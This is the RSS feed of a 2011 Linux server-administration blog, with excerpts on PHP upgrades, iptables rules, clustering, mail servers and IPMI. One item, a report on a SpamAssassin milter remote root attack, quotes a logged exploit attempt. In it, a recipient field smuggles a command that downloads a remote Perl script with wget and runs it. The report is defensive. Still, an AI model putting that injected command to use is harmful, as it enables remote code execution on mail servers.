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	<title>Rack Admins</title>
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	<link>http://rack-admins.com</link>
	<description>Brilliant Server Management</description>
	<lastBuildDate>Sun, 21 Aug 2011 21:40:35 +0000</lastBuildDate>
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		<item>
		<title>How to upgrade PHP from 5.1 to 5.2 in CentOS by YUM</title>
		<link>http://rack-admins.com/how-to-upgrade-php-from-5-1-to-5-2-in-centos-by-yum/</link>
		<comments>http://rack-admins.com/how-to-upgrade-php-from-5-1-to-5-2-in-centos-by-yum/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 21:40:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[repo]]></category>
		<category><![CDATA[yum repository]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=33</guid>
		<description><![CDATA[There is nice yum repo: Yum Repository Given that a great deal of the content on this site has become how-to&#8217;s on updating Red Hat Enterprise Linux &#38; CentOS servers, I&#8217;ve decided to make things a bit easier on everyone and supply a repository that can be used to install the newer versions of software [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/how-to-upgrade-php-from-5-1-to-5-2-in-centos-by-yum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to protect own hosting from outdoring spam</title>
		<link>http://rack-admins.com/how-to-protect-own-hosting-from-outdoring-spam/</link>
		<comments>http://rack-admins.com/how-to-protect-own-hosting-from-outdoring-spam/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 03:16:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Firewall]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Mail]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[synflood]]></category>
		<category><![CDATA[ulog]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=30</guid>
		<description><![CDATA[What if you have your own hosting and IP permanently blacklisted? Procedure simply spam complaints from your customers? How to solve this problem? Here to help iptables! Enough to limit the attempts to send mail too often and write to these attempts to log: iptables -A FORWARD -p tcp -m tcp --dport 25 -m state [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/how-to-protect-own-hosting-from-outdoring-spam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to block UDP packets on all ports except one</title>
		<link>http://rack-admins.com/how-to-block-udp-packets-on-all-ports-except-one/</link>
		<comments>http://rack-admins.com/how-to-block-udp-packets-on-all-ports-except-one/#comments</comments>
		<pubDate>Sun, 31 Jul 2011 03:42:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Firewall]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[udp]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=27</guid>
		<description><![CDATA[This example block all UDP incoming packets except port number 27005.: iptables -A INPUT -p udp --dport 27005 -j ACCEPT iptables -A INPUT -p udp -i lo -j ACCEPT #You may ignore this rule iptables -A INPUT -p udo -s 0/0 -j DROP]]></description>
		<wfw:commentRss>http://rack-admins.com/how-to-block-udp-packets-on-all-ports-except-one/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Best Way for Server Migration to Cloud-based Hosting</title>
		<link>http://rack-admins.com/best-way-for-server-migration-to-cloud-based-hosting/</link>
		<comments>http://rack-admins.com/best-way-for-server-migration-to-cloud-based-hosting/#comments</comments>
		<pubDate>Wed, 20 Jul 2011 14:51:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cloud]]></category>
		<category><![CDATA[busybox]]></category>
		<category><![CDATA[Cloud-based]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[initrd]]></category>
		<category><![CDATA[KVM]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[server migration]]></category>
		<category><![CDATA[single mode]]></category>
		<category><![CDATA[solution]]></category>
		<category><![CDATA[transfer server]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=22</guid>
		<description><![CDATA[If you want fast and easy transfer server as image to cloud hosting the best solution is create system files as ISO image and backup all user data by tar. But you never can&#8217;t create system ISO in multiuser runlevel, becouse some files open by system and some files may changed in create ISO process. [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/best-way-for-server-migration-to-cloud-based-hosting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>One secret that nobody will not tell you for a cluster of two nodes</title>
		<link>http://rack-admins.com/one-secret-that-nobody-will-not-tell-you-for-a-cluster-of-two-nodes/</link>
		<comments>http://rack-admins.com/one-secret-that-nobody-will-not-tell-you-for-a-cluster-of-two-nodes/#comments</comments>
		<pubDate>Wed, 20 Jul 2011 02:31:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Clustering]]></category>
		<category><![CDATA[bandwith]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[drbd]]></category>
		<category><![CDATA[drive speed]]></category>
		<category><![CDATA[gfs]]></category>
		<category><![CDATA[network block device]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[secondary node]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=20</guid>
		<description><![CDATA[GFS Cluster is good thing. It simple and robust: If first node down, secondary replace it. But&#8230; Did you know about GFS work? It write all data beetween servers via network connection. Usually servers connect via 1Gbps &#8211; it is 128Mb per second. Sounds good? Please hold on! This is a RAW bandwith. TCP/IP connection [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/one-secret-that-nobody-will-not-tell-you-for-a-cluster-of-two-nodes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tips for use Linux as mail server for Mail Marketing Script</title>
		<link>http://rack-admins.com/tips-for-use-linux-as-mail-server-fir-mail-marketing-script/</link>
		<comments>http://rack-admins.com/tips-for-use-linux-as-mail-server-fir-mail-marketing-script/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 22:56:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Rack Admins]]></category>
		<category><![CDATA[100mbps]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[cpu core]]></category>
		<category><![CDATA[free mail server]]></category>
		<category><![CDATA[Install]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mail]]></category>
		<category><![CDATA[mail marketing]]></category>
		<category><![CDATA[MTA]]></category>
		<category><![CDATA[open relay]]></category>
		<category><![CDATA[PTR]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[server load]]></category>
		<category><![CDATA[server setup]]></category>
		<category><![CDATA[setup linux]]></category>
		<category><![CDATA[SPF]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=16</guid>
		<description><![CDATA[Install Mail Marketing Script not difficult task, but you will know some rules: Setup Linux Server for only MTA task. Disable a lot of unused services like as cups or samba. Double check for closed relay for unauthentication emails. Open relay &#8211; direct way to Black List. Keep server load &#8211; it will not more [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/tips-for-use-linux-as-mail-server-fir-mail-marketing-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Install supermicro IPMI in a linux server</title>
		<link>http://rack-admins.com/how-to-install-supermicro-ipmi-in-a-linux-server/</link>
		<comments>http://rack-admins.com/how-to-install-supermicro-ipmi-in-a-linux-server/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 10:46:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[BIOS]]></category>
		<category><![CDATA[bios version]]></category>
		<category><![CDATA[card]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[configure]]></category>
		<category><![CDATA[device]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[Install]]></category>
		<category><![CDATA[IPMI]]></category>
		<category><![CDATA[IPMIview]]></category>
		<category><![CDATA[ipnmac]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[kernel drivers]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[loadable modules]]></category>
		<category><![CDATA[modprobe]]></category>
		<category><![CDATA[openIPMI]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[smagent]]></category>
		<category><![CDATA[smp]]></category>
		<category><![CDATA[solution]]></category>
		<category><![CDATA[sudo]]></category>
		<category><![CDATA[supermicro]]></category>
		<category><![CDATA[system]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[utility]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=11</guid>
		<description><![CDATA[Once Linux has been installed and it boots up, the IP and MAC address of the IPMI card have to be configured. Use the &#8220;ipnmac&#8221; utility to set the MAC and IP address for the card. This command has to be run via sudo and prompts for the new ip and mac address. For the [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/how-to-install-supermicro-ipmi-in-a-linux-server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cure for the Read Only Partiton</title>
		<link>http://rack-admins.com/cure-for-the-read-only-partiton/</link>
		<comments>http://rack-admins.com/cure-for-the-read-only-partiton/#comments</comments>
		<pubDate>Sat, 16 Jul 2011 20:41:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[File Systems]]></category>
		<category><![CDATA[configure]]></category>
		<category><![CDATA[Cure]]></category>
		<category><![CDATA[datacenter]]></category>
		<category><![CDATA[Detect]]></category>
		<category><![CDATA[disaster]]></category>
		<category><![CDATA[disk]]></category>
		<category><![CDATA[dns settings]]></category>
		<category><![CDATA[fiilesystem]]></category>
		<category><![CDATA[hardware problems]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[partition]]></category>
		<category><![CDATA[partiton]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[Read Only]]></category>
		<category><![CDATA[redirection]]></category>
		<category><![CDATA[replacement]]></category>
		<category><![CDATA[replacment]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[software problems]]></category>
		<category><![CDATA[traffick]]></category>
		<category><![CDATA[zero downtime]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=13</guid>
		<description><![CDATA[Sometime you may got strange problem. Server partition, usually /var or /tmp went to read only. Some peoples suggest you unmount that partition and use main (root) partiton for place this directory. This is very big mistake! Partition become to read only if you got some fiilesystem errors. It may be software or hardware problem. [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/cure-for-the-read-only-partiton/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spamassassin Milter Plugin Remote Root Attack</title>
		<link>http://rack-admins.com/spamassassin-milter-plugin-remote-root-attack/</link>
		<comments>http://rack-admins.com/spamassassin-milter-plugin-remote-root-attack/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 19:02:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[milter]]></category>
		<category><![CDATA[Remote]]></category>
		<category><![CDATA[SpamAssassin]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=25</guid>
		<description><![CDATA[Observant reader Roy caught an interesting exploit attempt against his SMTP server. His review of the logs turned up this: Messages rejected to recipient: root+:&#124;wget hxxp://www.linux-echo.de/.x/p.txt;perl p.txt:   smtp.target.com[10.11.17.18] : User unknown in local recipient table; from=&#60;blue@attacker.com&#62; to=&#60;root+:&#124;wget hxxp://www.linux-echo.de/.x/p.txt : 1 Time(s) Handler Bojan notes that it appears that the bad guys have started to actively [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/spamassassin-milter-plugin-remote-root-attack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Apache &#8211; how to MPM-ITK by easyapache (part of WHM/cPanel)</title>
		<link>http://rack-admins.com/apache-mpm-itk-whm-cpanel/</link>
		<comments>http://rack-admins.com/apache-mpm-itk-whm-cpanel/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 05:50:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[apache php]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[dso]]></category>
		<category><![CDATA[easyapache]]></category>
		<category><![CDATA[fcgi]]></category>
		<category><![CDATA[itk]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[mpm]]></category>
		<category><![CDATA[php scripts]]></category>
		<category><![CDATA[virtualhost]]></category>

		<guid isPermaLink="false">http://rack-admins.com/?p=8</guid>
		<description><![CDATA[As is known, the standard method of working with apache php &#8211; mod_php, also known as DSO, has a maximum output, but all scripts run under the user apache. To solve this problem in a easyapache mode php fcgi, which are not always compatible with custom php scripts, because he works in cgi mode, and [...]]]></description>
		<wfw:commentRss>http://rack-admins.com/apache-mpm-itk-whm-cpanel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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